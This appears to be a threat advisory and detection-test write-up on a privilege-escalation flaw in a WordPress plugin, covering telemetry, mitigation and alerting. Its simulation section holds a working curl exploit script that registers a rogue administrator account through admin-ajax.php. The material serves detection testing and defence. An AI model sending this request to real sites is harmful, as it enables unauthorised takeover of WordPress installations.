Critical King Addons for Elementor Vulnerability Under Active Exploit

Summary

A critical unauthenticated privilege escalation flaw (CVE-2025-8489) in the King Addons for Elementor WordPress plugin enables attackers to register new users with administrator privileges. The bug has been under active exploitation since October 31, 2025, with Wordfence blocking tens of thousands of attempts. Attackers exploit the issue via crafted POST requests sent to the admin-ajax.php endpoint. Versions 24.12.92 through 51.1.14 are impacted, with a fix available in version 51.1.35.

Investigation

Wordfence telemetry recorded more than 48,400 exploit attempts, with a notable surge on November 9–10, 2025. The single most active IPv6 source address was 2602:fa59:3:424::1. Malicious payloads use HTTP POST data that sets the user_role parameter to administrator during the registration workflow. No additional malware deployment was observed beyond the creation of rogue admin accounts.

Mitigation

Upgrade King Addons for Elementor to version 51.1.35 or newer. Enable Wordfence firewall protections that shipped on August 4, 2025 (premium) and September 3, 2025 (free). Audit WordPress user lists for unexpected administrator accounts and continuously review logs for the suspicious POST pattern.

Response

Trigger alerts on POST traffic to /wp-admin/admin-ajax.php that includes user_role=administrator. Block abusive IP addresses, with special attention to the highlighted IPv6 source. Perform account hygiene checks and remove any unauthorized admin users. Deploy host-based IDS signatures tuned to the observed request structure.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

• Attack Narrative & Commands:
  An adversary discovers CVE‑2025‑8489 in the King Addons for Elementor plugin. They craft a POST request to admin-ajax.php that includes the action=king_addons_user_register parameter (required by the plugin) and forces the new user’s role to administrator via user_role=administrator. By sending this request directly to the vulnerable endpoint, the attacker obtains a privileged WordPress account without needing prior authentication. The payload is URL‑encoded to replicate a realistic web‑client.

• Regression Test Script:

  #!/usr/bin/env bash
  # Exploit script for King Addons for Elementor privilege escalation (CVE‑2025‑8489)
  
  TARGET="http://webserver.example.com"
  ENDPOINT="/wp-admin/admin-ajax.php"
  
  # Crafted POST data (URL‑encoded)
  POST_DATA="action=king_addons_user_register&user_login=eviladmin&user_email=evil@example.com&user_pass=P@ssw0rd!&user_role=administrator"
  
  echo "[*] Sending exploit payload..."
  curl -s -o /dev/null -w "%{http_code}" -X POST "${TARGET}${ENDPOINT}" \
       -H "Content-Type: application/x-www-form-urlencoded" \
       --data "${POST_DATA}"
  
  echo -e "\n[+] Exploit sent. Check the SIEM for the generated alert."

• Cleanup Commands:

  # Remove the malicious user created during the test
  curl -X POST "http://webserver.example.com/wp-admin/admin-ajax.php" \
    -d "action=delete_user&user_id=$(curl -s "http://webserver.example.com/wp-json/wp/v2/users?search=eviladmin" | jq -r '.[0].id')"
  echo "[*] Cleanup completed."